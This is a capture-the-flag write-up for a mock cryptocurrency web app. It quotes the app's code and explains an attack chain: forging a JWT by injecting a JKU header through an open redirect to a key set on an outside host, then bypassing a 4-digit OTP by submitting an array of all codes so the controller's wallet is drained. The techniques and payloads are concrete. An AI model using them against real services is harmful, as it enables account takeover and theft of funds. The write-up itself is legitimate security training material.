WEB - Breaking Bank
Website Analysis#
CryptoX is a cryptocurrency management platform that allows users to:
- Track market prices
- Manage portfolios
- Send transactions
For added security, transactions can only be conducted between friends. Users can monitor their assets, market changes, and transaction history through an intuitive, dark-themed interface.
Features#
Introduction#
To perform a transaction, the following conditions must be met:
- You must be friends with the recipient.
- You must own cryptocurrency.
Friend Request#
- The friend request can be initiated by either the sender or the recipient of the transaction.
- The request must be accepted by the receiving user.
Transaction#
- A transaction requires an OTP code for validation.
Code Analysis#
Objective#
In the project directory, there is a file named flagService.js.
The code checks the financial status of the account [email protected].
If the CLCR wallet balance is zero or less, the file /flag.txt will be displayed.
import { getBalancesForUser } from '../services/coinService.js';
import fs from 'fs/promises';
const FINANCIAL_CONTROLLER_EMAIL = "[email protected]";
/**
* Checks if the financial controller's CLCR wallet is drained
* If drained, returns the flag.
*/
export const checkFinancialControllerDrained = async () => {
const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
const clcrBalance = balances.find((coin) => coin.symbol === 'CLCR');
if (!clcrBalance || clcrBalance.availableBalance <= 0) {
const flag = (await fs.readFile('/flag.txt', 'utf-8')).trim();
return { drained: true, flag };
}
return { drained: false };
};
Code OTP#
export const generateOtp = () => {
return Math.floor(1000 + Math.random() * 9000).toString();
};
export const setOtpForUser = async (userId) => {
const otp = generateOtp();
const ttl = 60;
await setHash(`otp:${userId}`, { otp, expiresAt: Date.now() + ttl * 1000 });
return otp;
};
The OTP code logic is found in the file challenge/server/services/otpService.js.
- The OTP is a 4-digit code, generated between
0000and9999. - Brute-forcing the OTP using tools like Burp Suite’s Intruder is not possible due to a middleware that controls the flow.
A method to bypass the OTP must be identified.
Code JWKS#
import crypto from 'crypto';
import jwt from 'jsonwebtoken';
import axios from 'axios';
import { v4 as uuidv4 } from 'uuid';
import { setKeyWithTTL, getKey } from '../utils/redisUtils.js';
const KEY_PREFIX = 'rsa-keys';
const JWKS_URI = 'http://127.0.0.1:1337/.well-known/jwks.json';
const KEY_ID = uuidv4();
export const generateKeys = async () => {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 2048,
publicKeyEncoding: { type: 'spki', format: 'pem' },
privateKeyEncoding: { type: 'pkcs8', format: 'pem' },
});
const publicKeyObject = crypto.createPublicKey(publicKey);
const publicJwk = publicKeyObject.export({ format: 'jwk' });
const jwk = {
kty: 'RSA',
...publicJwk,
alg: 'RS256',
use: 'sig',
kid: KEY_ID,
};
const jwks = {
keys: [jwk],
};
await setKeyWithTTL(`${KEY_PREFIX}:private`, privateKey, 0);
await setKeyWithTTL(`${KEY_PREFIX}:jwks`, JSON.stringify(jwks), 0);
};
The JWKS code is located in challenge/server/services/jwksService.js.
The public keys can be accessed at the endpoint: /.well-known/jwks.json.
Solve#
Introduction#
To solve the challenge, we need to:
- Craft a JWT token to access the account
[email protected]. - Send a friend request to an account we control.
- Bypass the OTP to transfer all the CLCR cryptocurrency to our account and trigger the flag.
Crafter un token JWT#
The server checks that the JKU header begins with http://127.0.0.1:1337/.
// TODO: is this secure enough?
if (!jku.startsWith('http://127.0.0.1:1337/')) {
throw new Error('Invalid token: jku claim does not start with http://127.0.0.1:1337/');
}
If we can upload or redirect to a file we control, we can modify the JWT signature and use our own public key.
Steps:
- Refer to the guide: JWT Authentication Bypass via JKU Header Injection.
- Use the JWT Editor add-on in Burp Suite to generate a token.
- Retrieve the public key using the option “Copy Public Key as JWK”.
- Start an HTTP server to host the public key.
Open Redirect#
An open redirect vulnerability exists in challenge/server/routes/analytics.js.
export default async function analyticsRoutes(fastify) {
fastify.get('/redirect', async (req, reply) => {
const { url, ref } = req.query;
if (!url || !ref) {
return reply.status(400).send({ error: 'Missing URL or ref parameter' });
}
// TODO: Should we restrict the URLs we redirect users to?
try {
await trackClick(ref, decodeURIComponent(url));
reply.header('Location', decodeURIComponent(url)).status(302).send();
} catch (error) {
console.error('[Analytics] Error during redirect:', error.message);
reply.status(500).send({ error: 'Failed to track analytics data.' });
}
});
We modify the JWT token’s JKU header to include:
http://127.0.0.1:1337/api/analytics/redirect?url=http://csrf.Chic0s.fr/jwks.json&ref=foo
Adding Friends#
We can add our own account as a friend:
- Send a friend request.
POST /api/users/friend-request HTTP/1.1
Host: 94.237.59.180:58323
...
{"to":"ee@ee"}
- Accept the request on our controlled account.
Admin’s Wallet Balance#
By checking the admin’s balance for CLCR, we find that it holds:
[{"symbol":"CLCR","name":"Cluster Credit","availableBalance":25122323118},...]
CLCR : 25122323118
The goal is to drain this balance.
Bypass OTP#
// TODO: Is this secure enough?
if (!otp.includes(validOtp)) {
reply.status(401).send({ error: 'Invalid OTP.' });
return;
}
The OTP validation logic uses an includes function.
To bypass it:
- Generate a list of all possible OTP values (
0000to9999). - Use this list to exploit the OTP validation mechanism.
Example :
{"to":"ee@ee","coin":"CLCR","amount":25122323118,"otp":["0000", "0001", ..., "9999"]}
Conclusion#
Finally, log in with the account [email protected] and access /api/dashboard.
This action will display the flag.